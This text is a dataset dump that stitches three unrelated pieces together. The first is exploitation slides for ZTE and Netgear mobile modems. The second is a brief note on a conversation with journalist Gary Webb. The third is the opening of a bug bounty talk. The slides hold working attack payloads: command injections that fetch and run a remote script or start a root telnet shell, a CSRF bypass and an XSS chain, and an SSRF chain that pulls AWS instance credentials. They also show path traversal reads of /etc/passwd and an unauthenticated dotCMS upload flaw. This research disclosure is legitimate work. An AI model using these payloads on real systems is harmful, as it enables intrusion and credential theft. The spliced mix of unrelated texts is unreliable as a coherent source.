\"http://192.168.0.1/goform/goform_set_cmd_process?\ngoformId=SET_DEVICE_MODE&debug_enable=1\"\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"result\":\"success\"}\nNot injectable, because the debug_enable value is checked 😒\nWhatever, saves me having to log in every time I reboot the thing. \nZTE MF910 - zte_topsw_goahead\nZTE MF910 - zte_topsw_goahead - The State of the Code\nLots of zte_syslog_append calls. Writes verbose debug info to syslog.\nMakes knowing where we are in the code really easy.\nZTE MF910 - zte_topsw_goahead\nZTE MF910 - goform_set_cmd_process - Remote Syslog\n/zte_syscmd_process\nOne of the \n“undocumented” \nendpoints\nRemote syslog = syslog \nbeing sent across the \nnetwork to UDP/514 of the \nrequesting IP.\nZTE MF910 - goform_set_cmd_process - Remote Syslog\nOnly available post-auth. \nBut can be useful in figuring out where in any ZTE code you’re hitting. \nOpen up UDP/514 and brace yourself for a barrage of trash. \n$ curl -i \"http://192.168.0.1/goform/zte_syscmd_process\n?syscmd=zte_syslog&syscall=set_remotelog&action=enable\"\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"result\":\"success\"}\nZTE MF910 - goform_set_cmd_process - Remote Syslog\n$ sudo nc -nvlup 514\nlistening on [any] 514 ...\nconnect to [192.168.0.105] from (UNKNOWN) [192.168.0.1] 34054\n<14>Jan 6 11:04:26 zte_wan_nwinfor: zte_nwinfo.log zte_wan_nwinfor.c 5881 QMI_NAS_EVENT_REPORT_IND_MSG_V01 process...\n<14>Jan 6 11:04:27 zte_topsw_sleep: zte_libsocket.log libzte_socket.c 106 can not accept client, errno: 4, pid=540\n<14>Jan 6 11:04:30 zte_topsw_sleep: zte_libsocket.log libzte_socket.c 106 can not accept client, errno: 4, pid=540\n<14>Jan 6 11:04:33 zte_topsw_sleep: zte_libsocket.log libzte_socket.c 106 can not accept client, errno: 4, pid=540\n<14>Jan 6 11:04:35 zte_topsw_goahead: goahead.log webs.c 3334 websSetLoginTimemark:ufi to check.\n<14>Jan 6 11:04:36 zte_topsw_sleep: zte_libsocket.log libzte_socket.c 106 can not accept client, errno: 4, pid=540\n<14>Jan 6 11:04:37 zte_topsw_goahead: goahead.log webs.c 3334 websSetLoginTimemark:ufi to check.\n<14>Jan 6 11:04:37 zte_topsw_goahead: goahead.log ../zte_web/zte_web_sms.c 1156 total_pages,leave_nums:[50][0]\n<14>Jan 6 11:04:37 zte_topsw_goahead: goahead.log ../zte_web/zte_web_sms.c 1185 sms_query_req:[0,10,1,10,order by id desc].\n<14>Jan 6 11:04:37 zte_topsw_goahead: goahead.log ../zte_web/zte_web_sms.c 1209 total query count [0].\n<14>Jan 6 11:04:37 zte_topsw_goahead: goahead.log ../zte_web/zte_web_pbm.c 680 pbm:total_pages,leave_nums:[20][0]\n<14>Jan 6 11:04:37 zte_topsw_goahead: goahead.log ../zte_web/zte_web_pbm.c 701 pbm_query_req:[0,100,2].\n<14>Jan 6 11:04:37 zte_topsw_goahead: zte_pbm.log libzte_pbm.c 566 zte_libpbm_get_rec_data enter\n<14>Jan 6 11:04:37 zte_topsw_goahead: zte_pbm.log libzte_pbm.c 577 zte_pbm no sim card\n<14>Jan 6 11:04:37 zte_topsw_cfg: zte_cfg.log zte_topsw_cfg.c 1097 received data from client is:209\n<14>Jan 6 11:04:37 zte_topsw_cfg: zte_cfg.log zte_topsw_cfg.c 1114 zte_client_send_msg->send ok\n<14>Jan 6 11:04:37 zte_topsw_goahead: zte_cfg.log libzte_cfg.c 260 send item_id successful\n<14>Jan 6 11:04:37 zte_topsw_goahead: zte_pbm.log libzte_pbm.c 495 zte_libpbm_get_device_rec_data enter\n<14>Jan 6 11:04:37 zte_topsw_goahead: zte_pbm.log libzte_pbm.c 215 zte_pbm_db_exec_sql enter\n<14>Jan 6 11:04:37 zte_topsw_goahead: zte_pbm.log libzte_pbm.c 173 zte_libpbm_db_open enter\n<14>Jan 6 11:04:37 zte_topsw_goahead: zte_pbm.log libzte_pbm.c 195 zte_libpbm_db_close enter\n<14>Jan 6 11:04:37 zte_topsw_goahead: goahead.log ../zte_web/zte_web_pbm.c 725 pbm:total query count [0].\n<14>Jan 6 11:04:39 zte_topsw_sleep: zte_libsocket.log libzte_socket.c 106 can not accept client, errno: 4, pid=540\n<14>Jan 6 11:04:39 zte_topsw_goahead: goahead.log webs.c 3334 websSetLoginTimemark:ufi to check.\n<14>Jan 6 11:04:40 zte_topsw_goahead: goahead.log ../zte_web/zte_web_pbm.c 817 pbm_location is [pbm_sim].\n...\nZTE MF910 - goform_set_cmd_process - Remote Syslog\n(also available: syslog being dumped to a file for downloading later, and \naccess to kernel logs).\nZTE MF910 - zte_topsw_goahead\nZTE MF910 - goform_set_cmd_process - goformId\nCan’t actually access these on the \nMF910 because no SD support.\nReally basic RE shows a really likely \ncommand injection point in there…\nCan’t really “confirm” this “issue” on \nthe MF910, but might affect others...\nZTE MF910 - goform_set_cmd_process - HTTPSHARE_NEW\n$ curl -i ‘http://192.168.0.1/goform/goform_set_cmd_process\n?goformId=HTTPSHARE_NEW&\npath_SD_CARD=/home/root/mmc2/blah$(wget -O - ptp.sh | sh)’\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"result\":\"?!?!? WE WILL NEVER KNOW ?!?!?\"}\nBut…. if I did have a modem which supported SD cards, my exploit would look \nlike this:\nZTE MF910 - zte_topsw_goahead\nZTE MF910 - zte_topsw_goahead\nZTE MF910 - goform_get_cmd_process\nFor the goform_get_cmd_process \nfunction, there isn’t a proper auth \ncheck.\nBut, there is a CSRF protection check, \nmade against the value of the \nReferer request header...\nZTE MF910 - admin password leak\n$ curl -i --referer http://naughty.website/ “http://192.168.0.1/goform/\ngoform_get_cmd_process?cmd=admin_Password&multi_data=0”\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"admin_Password\":\"\"}\nSo this doesn’t work.\n$ curl -i --referer http://naughty.website/ “http://192.168.0.1/goform/\ngoform_get_cmd_process?cmd=admin_Password&multi_data=0”\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"admin_Password\":\"\"}\nZTE MF910 - admin password leak\n$ curl -i --referer http://192.168.0.1/ “http://192.168.0.1/goform/\ngoform_get_cmd_process?cmd=admin_Password&multi_data=0”\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"admin_Password\":\"SecretPassword123\"}\nBut this does.\nZTE MF910 - zte_topsw_goahead\nZTE MF910 - Command Injection\nThe (post-authentication) function for USB_MODE_SWITCH. \nTakes usb_mode value and passes it straight to system()\nZTE MF910 - Mitigations\nZTE MF910 - Mitigations\nCSRF protection based on Referer header, rather than a token. \nRequests to goform_set_cmd_process will also fail if the Referer header \ndoesn’t match the device IP or 127.0.0.1. \nWe can’t guarantee we can control the Referer header in-browser, we can’t \nattack directly from another page context. \nZTE MF910 - CSRF Protection\n$ curl -i --referer http://naughty.website/ \n\"http://192.168.0.1/goform/goform_set_cmd_process?isTest=fal\nse&goformId=LOGIN&password=YWRtaW4%3D\"\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"result\":\"failure\"}\nZTE MF910 - CSRF Protection\n$ curl -i --referer http://192.168.0.1/ \n\"http://192.168.0.1/goform/goform_set_cmd_process?isTest=fal\nse&goformId=LOGIN&password=YWRtaW4%3D\"\nHTTP/1.0 200 OK\nServer: GoAhead-Webs\nPragma: no-cache\nCache-control: no-cache\nContent-Type: text/html\n{\"result\":\"0\"}\nZTE MF910 - zte_topsw_goahead\nZTE MF910 - Breaking Mitigations\nXSS allows us to bypass these restrictions, and any JS we run on a router page \nwould send requests with a Referer header set to the router IP.\nThere’s very trivial, clean XSS at /goform/formTest\nZTE MF910 - Breaking Mitigations\n/goform/formTest?name=&address=<script>alert(“XSS_GOES_HERE”)</script>\nAnyway, that’s that \nCSRF protection \nbypassed.\nZTE MF910 - Writing an exploit\nSimple enough to write an exploit chain with all this.\nXSS allows us to run JavaScript in the router web page context...\n→ ...which means Referer header will be the router IP…\n→ …plus we then don’t have to worry about the SOP...\n→ ...so we can leak AND read the admin password...\n→ ...which we can use to log in...\n→ ...& exploit the post-auth command injection.\nZTE MF910 - Writing an exploit\nThe CSRF -> XSS looks like this\nZTE MF910 - Writing an exploit\nAnd mf910.js looks like \nthis.\nZTE MF910 - Exploit Time\n DEMO TIME 😰\nZTE MF910 - More reading\nMore stuff, written down:\nhttps://ptp.sh/zte_mf910\nCase Study Two: “High End” - Netgear Nighthawk M1\nNetgear Nighthawk M1 - Why this modem?\nIt’s high-end!\nReally expensive (like €200/$300)?!\nNot much public information about \n[getting into] its internals.\nUsing a very new Qualcomm SoC \n(MDM9250)\nIt’s “a challenge”\nNetgear Nighthawk M1 - Why this modem?\nNetgear Nighthawk M1 - Bug Bounty\nAlso, it’s part of the Netgear bug \nbounty!\nThe bounty scope is only on \nhigher-end (expensive $$$) products.\nPayout based on CVSSv3 score \n(calculated by Netgear).\nKer-ching!\nNetgear Nighthawk M1 - Ker-Ching?\nI hate this.\nGrim NDA legal terms.\nNo thanks.\nNetgear Nighthawk M1 - I Hate the Netgear bug bounty\nCritical?\nHigh?\nMedium\nLow?\nNetgear Nighthawk M1 - I Hate the Netgear bug bounty\nGo through Bugcrowd =\nSworn to secrecy?\nGet forced to “perform”???\nMaybe get $300 tops?\nNetgear Nighthawk M1 - I Hate the Netgear bug bounty\nGo through Bugcrowd =\nSworn to secrecy? ❌\nGet forced to “perform”??? ❌\nMaybe get $300 tops? ❌\nSpeak at DEF CON: \nBadmouth Netgear in public. ✅\nGet $300 anyway (ker-ching). ✅\nNetgear Nighthawk M1 - Hardware Highlights\nNetgear Nighthawk M1 - Hardware Highlights\nQualcomm MDM9250 (pretty new)\nNetgear Nighthawk M1 - Hardware Highlights\nQualcomm MDM9250 (pretty new)\nNanya NM1484KSLAXAJ-3B \ncombination NAND/RAM (sound \nfamiliar?)\nNetgear Nighthawk M1 - Hardware Highlights\nQualcomm MDM9250 (pretty new)\nNanya NM1484KSLAXAJ-3B \ncombination NAND/RAM (sound \nfamiliar?)\nGeneric looking test pads\nUSB-C interface\nNetgear Nighthawk M1 - Who knows what?\nNetgear Nighthawk M1 - What’s out there?\nIt’s kind of a challenge!\nThere’s lots of people getting pissed off \nat it on 4pda.ru forums.\nThere’s a ~300mb GPL tarball, patches \nfor GPL* stuff for firmware version \n“02.02_00”. Basically useless.\nNetgear Nighthawk M1 - Where to start?\nEvery firmware file looks \nencrypted.\nNo obvious legit way in.\nWeb server on TCP/80.\nAT shell on (USB) TCP/5510.\nNetgear Nighthawk M1 - What can we figure out?\nIt’s Sierra Wireless based.\nProbably really similar to the AirCard \n7XX or 8XX series (also Sierra Wireless \nbased).\nThat opens a few small doors...\nNetgear Nighthawk M1 - Fun fun fun\nNetgear Nighthawk M1 - These things\nCould be anything???\nSome are 1.8V/3.3V? GPIOs???? UART???\nOne of them is 5V?? USB???\nSome clever multiplexed something?!!\nNetgear Nighthawk M1 - JTAG Works\nTurns out they’re JTAG (thanks \njtagenum!)\nConnect with a J-Link as a generic \nCortex M3. \nTCK\nTDI\nnTRST\nTMS\nTDO\nRTCK\nVREF\nNetgear Nighthawk M1 - JTAG Works\n$ xxd -r -p 0x0-.hex | strings -n8\nSan Diego1\nCDMA Technologies1\nQUALCOMM1\nQPSA F4 TEST CA0\n180328182825Z\n380323182825Z0\nSecTools Test User1\nSan Diego1\nSecTools1\nCalifornia1\"0 \n01 0000000000000000 SW_ID1\"0 \n02 0000000000000000 HW_ID1\n04 0000 OEM_ID1\n05 00000108 SW_SIZE1\n06 0000 MODEL_ID1\n07 0001 SHA2561\"0 \n03 0000000000000002 DEBUG0\nCalifornia1\n...\nNetgear Nighthawk M1 - AT Shell\nAT shell is kind of rubbish.\nNo privileged AT!ENTERCND \nmode.\nNo classic ADB-enabling AT \ncommands.\nAT!BOOTHOLD puts the thing \ninto weird version of the \nQualcomm flash mode\n$ telnet 192.168.1.1 5510\nTrying 192.168.1.1...\nConnected to 192.168.1.1.\nEscape character is '^]'.\nATI\nATI\nManufacturer: Netgear, Incorporated\nModel: MR1100\nRevision: NTG9X50C_12.06.03.00 r3480 ntgrbc-fwbuild2 \n2018/10/12 11:29:56\nIMEI: 359126080593965\nIMEI SV: 10\nFSN: 5D6389N600760\n+GCAP: +CGSM,+DS,+ES\nERROR\nAT!GIVEMEASHELLPLEASE\nAT!GIVEMEASHELLPLEASE\nERROR\nNetgear Nighthawk M1 - fdt.exe\nSierra Wireless fdt.exe can be used.\nFound by unpacking other Sierra \nWireless firmware install exes (use 7z).\nInterface is pure USB rather than \nexposing a COM/TTY?\nAlso need AC78xSDrivers.exe\nFirmware’s encrypted so not a\nuseful “way in”.\nNetgear Nighthawk M1 - Firmware Encryption\n“Encryption”\nNetgear chose my favourite encryption.\nNetgear Nighthawk M1 - Firmware Encryption\n“Encryption”\nNetgear chose my favourite encryption.\n(mainly)\nNetgear Nighthawk M1 - Firmware Encryption\nMix of XOR and AES in ECB mode.\nFirmware follows generic Sierra \nWireless file structure.\nChunk headers are AES ECB \nencrypted.\nChunk data is XOR (key start offset \nby chunk size mod 32 for some \nreason?)\nNetgear Nighthawk M1 - Firmware Encryption\nAES ECB looks a lot like XOR.\nEach block is encrypted in isolation.\nLooks like 16-byte XOR key.\nBut it’s not.\nNetgear Nighthawk M1 - Firmware Encryption\nNetgear Nighthawk M1 - Firmware Encryption\nWrote a script to do it.\nhttps://ptp.sh/netgear_m1\nNetgear Nighthawk M1 - Firmware Encryption\n$ python netgear_fwtool.py ../MR1100-100EUS_23113509_NTG9x50C_12.06.03.00_00_Generic_05.01.secc.spk\n[LOG] using file MR1100-100EUS_23113509_NTG9x50C_12.06.03.00_00_Generic_05.01.secc.spk\n[LOG] file is 0x6856c23 long\n[LOG] chunk start: 0x190, length 0x579f0, end 0x57b80\n[DBG] (len-header % 32: 0?)\n[DBG] key start: , key end: c9c9bcbf53914ffbb180b0c366db1743b8cd9aafdacba3ffd099e28a2dd2f2ac\n[LOG] chunk start: 0x57b80, length 0x22dacd0, end 0x2332850\n[DBG] (len-header % 32: 0?)\n[DBG] key start: , key end: c9c9bcbf53914ffbb180b0c366db1743b8cd9aafdacba3ffd099e28a2dd2f2ac\n[LOG] chunk start: 0x2332850, length 0x34cbb6a, end 0x57fe3ba\n[DBG] (len-header % 32: 26?)\n[DBG] key start: 4ffbb180b0c366db1743b8cd9aafdacba3ffd099e28a2dd2f2ac, key end: c9c9bcbf5391\n[LOG] chunk start: 0x57fe3ba, length 0x1000190, end 0x67fe54a\n[DBG] (len-header % 32: 0?)\n[DBG] key start: , key end: c9c9bcbf53914ffbb180b0c366db1743b8cd9aafdacba3ffd099e28a2dd2f2ac\n[LOG] chunk start: 0x67fe54a, length 0xc3c4, end 0x680a90e\n[DBG] (len-header % 32: 20?)\n[DBG] key start: 66db1743b8cd9aafdacba3ffd099e28a2dd2f2ac, key end: c9c9bcbf53914ffbb180b0c3\n[LOG] chunk start: 0x680a90e, length 0x4c315, end 0x6856c23\n[DBG] (len-header % 32: 5?)\n[DBG] key start: 8a2dd2f2ac, key end: c9c9bcbf53914ffbb180b0c366db1743b8cd9aafdacba3ffd099e2\n[DBG] starting chunk 0_0x190-0x57b80\n[LOG] MAIN TYPE: BOOT\n[LOG] decrypting chunk body...\n...\nNetgear Nighthawk M1 - Firmware Encryption\nThe firmware’s massive & full of \ninteresting stuff.\nBOOT = Bootloader\nMODM = Qualcomm DSP, TZ, RPM\nAPPL = Linux system applications\nHDAT = /mnt/hdata = webapp root\nSPLA = Android splashscreen\nFILE = Generic global APN configs\nNetgear Nighthawk M1 - The Bugs\nNetgear Nighthawk M1 - CSRF Bypass\nNetgear Nighthawk M1 - CSRF Bypass\nThis is my favourite CSRF bypass of all time.\nMOST config/mutable info is pulled from dynamically-generated JSON \nfiles (not JSONP so can’t siphon cross-site)\nBut JavaScript file NetgearStrings.js is ALSO dynamically generated. \nThere’s a TODO comment right at the top.\nNetgear Nighthawk M1 - CSRF Bypass\nNetgear Nighthawk M1 - Command Injection again\nNetgear Nighthawk M1 - Web Interface Black Box\nAll requests which “do something” are made to \n/Forms/* API endpoints.\n-\n/Forms/config\n-\n/Forms/multiCfg\n-\n...etc\nImportant parameters are sessionId cookie, \nCSRF token, and a named configuration \nparameter (in the format group.thing or \ngroup.thing.something)\nNetgear Nighthawk M1 - Basic API Call Format\nPOST /Forms/config HTTP/1.1\nHost: 192.168.1.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 \nFirefox/60.0\nAccept: */*\nAccept-Language: en-GB,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.1.1/index.html\nContent-type: application/x-www-form-urlencoded\nContent-Length: 113\nCookie: sessionId=0000000d-bW1XS27NZzc39egmHaPFXRP9vuZl3wp\nConnection: close\ngeneral.shutdown=restart&err_redirect=/error.json&ok_redirect=/success.json& t\noken=k8BKKSfEUxxMlrrFaCyQgGuTMGRSbnl\nNetgear Nighthawk M1 - Instrospection.html\n/Introspection.html\nNetgear Nighthawk M1 - Command Injection\nPOST /Forms/config HTTP/1.1\nHost: 192.168.1.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 \nFirefox/60.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.1.1/index.html\nContent-type: application/x-www-form-urlencoded\nContent-Length: 143\nCookie: sessionId=00000008-8CKtg8jB5TJ0WhJALlbTXIdplP9wDZs\nConnection: close\nready.deviceShare.removeUsbDevice=;$(busybox telnetd);\n&err_redirect=/error.json&ok_redirect=/success.json&token=kMOvNyZv6Jh4dHTOEL\nKhMGuBNMUlXZ6\nNetgear Nighthawk M1 - Command Injection\n$ telnet 192.168.1.1\nTrying 192.168.1.1...\nConnected to 192.168.1.1.\nEscape character is '^]'.\nmsm 201810121151 mdm9650\nmdm9650 login: root\nPassword: \nroot@mdm9650:~# \nDefault creds are root:oelinux123\nNice clean root shell on it, for further fun!\nNetgear Nighthawk M1 - Chaining\nYou can chain these in a similar way to the MF910\nNo auth bypass yet though, so not as clean. \n1.\nGrab CSRF token from NetgearStrings.js.\n2.\nCross-site login/brute-force password.\n3.\nCheck user privilege by reloading NetgearStrings.js.\n4.\nPost-auth command injection if priv = Admin\nNetgear Nighthawk M1 - More reading\nMore stuff, written down:\nhttps://ptp.sh/netgear_m1\nSo what?\nSummary - Code reuse/where’s it from?\nVendors should be asking “where else is code from that device running?”\nZTE didn’t do this.\nNetgear are running Sierra Wireless tech in their devices.\nIssues might affect other vendors/similar devices using save dev stack.\nSummary - Some vendors are hard work\nNetgear are rubbish to disclose to.\nWe reported issues in February. If they’re not fixed by now then 🤷\nDon’t consider post-auth RCE serious. \nAren’t going to fix the encryption issues. \nBut they will change the root password apparently? 💁\nLots of people to thank, some I know & some I don’t\nThe Pen Test Partners and other people working there, Jamie Riden who doesn’t any more.\nEveryone on the Netgear M1 on 4pda.ru: https://4pda.ru/forum/index.php?showtopic=778715\nFurther reading\nZTE, Netgear & a TP-Link issue I didn’t talk about today at:\nhttps://ptp.sh/dc27_4g"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":86,"cells":{"text":{"kind":"string","value":"Conversation with Gary Webb May 2000\nWas it worth it? Yes. The CIA admitted it. I know it was the truth, and that’s what kept\nme going. I knew I was right. \nMy eyes were wide open. I knew what I was getting into. The kids suffered. I had the\npaper behind me – I thought. Support came from all sorts of places. Especially African\nAmericans.\nMy wife was OK with it. She was used to me getting death threats.\nYou get one chance in a lifetime to do the right thing. If you don’t do it, you surrender,\nand then they win. \nThese are the worst people on earth that you’re dealing with – they lie, plant stories,\ndiscredit and worse for a living and have the resources and the experience. But\nsomebody’s got to do it. Otherwise they win.\nThe choice is to do the work -- surrender.\nHe was told he was the most cynical but also in some ways the most naive and idealistic.\nHe was mentored by a journalist who taught him that the work was to comfort the\nafflicted and afflict the comfortable. When he killed himself, I thought of this late-night\nconversation. \nWho won? Who won?"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":87,"cells":{"text":{"kind":"string","value":"Bug Bounty on Steroids\n@Hussein98D\nWe provide pentests! Visit WebImmunify.com\nOctober 2022\nwhoami?\nBug Bounty Hunter \nSecurity Researcher\nYahoo Elite\nIntigriti 1337up0533 winner\nH1-2010 Vigilante Award\nH1-2010 Best Team Collaboration\nBugCrowd BugBash Best Team Collaboration\n+1000 vulnerabilities reported\nCEO @ WebImmunify.com\n@hussein98d on all platforms\n●Account TakeOver via Confusion\n●The Un-spotable SSRF\n●Local File Disclosure and Bypasses\n●Hacking a Bank by Finding a 0day\n●SSO Bypass Techniques\n●Another XSS Level\nIn this talk:\n● Application allows user A to invite other users: B, \nto his organization\n● User A is able to ask for password reset for \naccounts he invited\n● User B gets reset token link in his mails\nAccount TakeOver via Confusion\nCan we try to exploit this?\nPoC\n● User A invites user B to his instance where user \nB is his second email address\n● User A asks for password reset of user B\n● User B opens the reset link and waits\n● User A edits User B’s email to victim’s email\n● Reset Password Tokens becomes valid for \nVictim\nAccount TakeOver via Confusion\n User A\n User B\nStep 1\nInvitation to join org\nStep 2\n User A\nPassword Reset inside App\n User B\nAccount TakeOver via Confusion\n User B\n User B\nStep 3\nOpens Link to Password Reset\nStep 4\n User A\nChange email of user B to victim’s\nLink\nAccount TakeOver via Confusion\nAttacker\nVictim\nStep 5\nReset Password via previous link\nStep 6\nAttacker\nLogin with new password\nVictim\nAccount TakeOver via Confusion\nThe Un-spotable SSRF\nAnything catches your attention?\nThe Un-spotable SSRF\n__region=eu-west-1\nWhere do we usually see this parameter’s value?\nAWS S3!\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nFirst, we set a random value inside the __region parameter\n__region=test&Action=ListTopics&appId=223\nResult:\nTimeout response\nThat’s fishy!\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nFuzzing\nBuild a little list containing different payloads to hopefully identify some behavior\nlist.txt :\n0xp.cc\n0xp.cc/\n@0xp.cc\n\\\\0xp.cc\n//0xp.cc\n.0xp.cc/\n.0xp.cc\n%2f%2f0xp.cc\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nUpon sending payload 0xp.cc/ inside the __region parameter, I got a DNS \npingback to sns.0xp.cc\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nWhat’s happening in the backend?\nThe application looks like to be reading the __region parameter value and \nissuing the following request:\nGET https://sns.REGION.amazonaws.com\nThus, upon sending 0xp.cc/ in the payload, we have the following request \nbeing issued by the server:\nGET https://sns.0xp.cc/.amazonaws.com\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nBreaking out of the syntax\nWe have to find a way to force our destination host for the request being made by \nthe application:\nPayload: x@0xp.cc/ \nServer’s translation: https://SNSx@0xp.cc/.amazonaws.com\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nTesting to fetch Google.com ’s content:\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nGood! But not enough! How can we read AWS secrets located at \nhttp://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-\ncredentials/ec2-instance ?\nThe application is doing https requests, while we need http to hit the EC2 \nendpoints.\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nForcing Redirect to http\nPayload:\nx@ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/\nlatest/meta-data/identity-credentials/ec2/security-credentials/ec2-\ninstance&Action=ListTopics&appId=oegw3x\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nForcing Redirect to http\nx@ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/\nlatest/meta-data/identity-credentials/ec2/security-credentials/ec2-\ninstance&Action=ListTopics&appId=oegw3x\nApplication’s request:\nhttps://SNSx@ssrf.localdomain.pw/custom-30x/?code=301&url=http://\n169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/\nec2-instance\nRedirect to ssrf.localdomain.pw and then redirect to 169.254.169.254\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nHowever, there is still a little issue:\nApplication’s request:\nhttps://SNSx@ssrf.localdomain.pw/custom-30x/?code=301&url=http://\n169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/\nec2-instance/.amazonaws.com\nEasy bypass now, append “?” to the end of our previous payload:\nx@ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/\nlatest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?\n&Action=ListTopics&appId=oegw3x\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nx@ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/latest/meta-data/identity-\ncredentials/ec2/security-credentials/ec2-instance?&Action=ListTopics&appId=oegw3x\nhttps://SNSx@ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/latest/meta-data/\nidentity-credentials/ec2/security-credentials/ec2-instance?/.amazonaws.com\nhttps://ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/latest/meta-\ndata/identity-credentials/ec2/security-credentials/ec2-instance?/.amazonaws.com\nhttp://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-\ncredentials/ec2-instance?/.amazonaws.com\nApplication’s parser\n301 Redirect\n301 Redirect\nThe Un-spotable SSRF\nTesting Methodology for such endpoints\nBingo!\nBounty: $14,000\nLocal File Disclosure and Bypasses\nYou see this:\nDownload.php?file=document.pdf\nFirst thoughts? \nPotential LFD\nLocal File Disclosure and Bypasses\nClassic payloads\nDownload.php?file=file:///etc/passwd\nDownload.php?file=../../../../etc/passwd\nDownload.php?file=..\\..\\..\\..\\etc\\passwd\n403 forbidden\nLocal File Disclosure and Bypasses\nServer doesn’t love ../ dot dot slash\nWhat can we do?\n● Unicode encoding\n● Null Byte\nLocal File Disclosure and Bypasses\nUnicode Encoding\nhttps://qaz.wtf/u/convert.cgi?text=.\nLocal File Disclosure and Bypasses\nUnicode Encoding\nTry:\n⨀\n⊡\nDownload.php?file=.\n/config.php\n⨀\nDownload.php?file=⊡\n/config.php\n⨀\nDownload.php?file=\n.\n⊡ /config.php\nLocal File Disclosure and Bypasses\nNull Byte Bypass\nTry:\n.%00.\nDownload.php?file=.%00./config.php\nLocal File Disclosure and Bypasses\nNull Byte Bypass\nBounty: $1700\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nAre you really a hacker if you never \nhacked a bank? \nThe story of CVE-2022-26352\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nInvited to a bug bounty program of a big Bank\nFirst things first, RECON:\nMost of the domains and subdomains in scope \nare running DotCMS\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nWhat is dotCMS?\ndotCMS is an open source content \nmanagement system written in Java for \nmanaging content and content driven sites and \napplications.\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nEveryone was looking for low hanging bugs, \nwe chose to go for the less traveled path: \nwhitebox source code auditing\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBug 1: No Authentication needed for some APIs \nFile: com/dotcms/rest/ContentResource.java\n/* */ @Path(\"/content\")\n/* */ public class ContentResource\n... omitted for brevity ...\n/* */ @Deprecated\n/* */ @POST\n/* */ @Path(\"/{params:.*}\")\n/* */ @Produces({\"text/plain\"})\n/* */ @Consumes({\"multipart/form-data\"})\n/* */ public Response multipartPOST(@Context HttpServletRequest request, @Context HttpServletResponse response, \nFormDataMultiPart multipart, @PathParam(\"params\") String params) throws URISyntaxException, DotDataException {\n/* 1532 */ return multipartPUTandPOST(request, response, multipart, params, \"POST\");\n/* */ }\n/* */ @Deprecated\n/* */ @PUT\n/* */ @Path(\"/{params:.*}\")\n/* */ @Produces({\"application/json\", \"application/javascript\", \"text/plain\"})\n/* */ @Consumes({\"multipart/form-data\"})\n/* */ public Response multipartPUT(@Context HttpServletRequest request, @Context HttpServletResponse response, \nFormDataMultiPart multipart, @PathParam(\"params\") String params) throws URISyntaxException, DotDataException {\n/* 1508 */ return multipartPUTandPOST(request, response, multipart, params, \"PUT\");\n/* */ }\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBug 2: Arbitrary File Upload\n/* */ private void processFile(Contentlet contentlet, List<String> usedBinaryFields, \nList<String> binaryFields, BodyPart part) throws IOException, DotSecurityException, \nDotDataException {\n/* 1657 */ InputStream input = (InputStream)part.getEntityAs(InputStream.class);\n/* 1658 */ String filename = part.getContentDisposition().getFileName();\n/* 1659 */ File tmpFolder = new \nFile(String.valueOf(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary()) + \nUUIDUtil.uuid());\n/* */ \n/* 1661 */ if (!tmpFolder.mkdirs()) {\n/* 1662 */ throw new IOException(\"Unable to create temp folder to save binaries\");\n/* */ }\n/* */ \n/* 1665 */ File tempFile = new File(\n/* 1666 */ String.valueOf(tmpFolder.getAbsolutePath()) + File.separator + filename);\n/* 1667 */ Files.deleteIfExists(tempFile.toPath());\n/* */ \n/* 1669 */ FileUtils.copyInputStreamToFile(input, tempFile);\n/* 1670 */ List<Field> fields = (new LegacyFieldTransformer(\n/* 1671 */ APILocator.getContentTypeAPI(APILocator.systemUser())\n/* 1672 */ .find(contentlet.getContentType().inode()).fields()))\n/* 1673 */ .asOldFieldList();\n/* 1674 */ for (Field field : fields) {\nHacking a Bank by 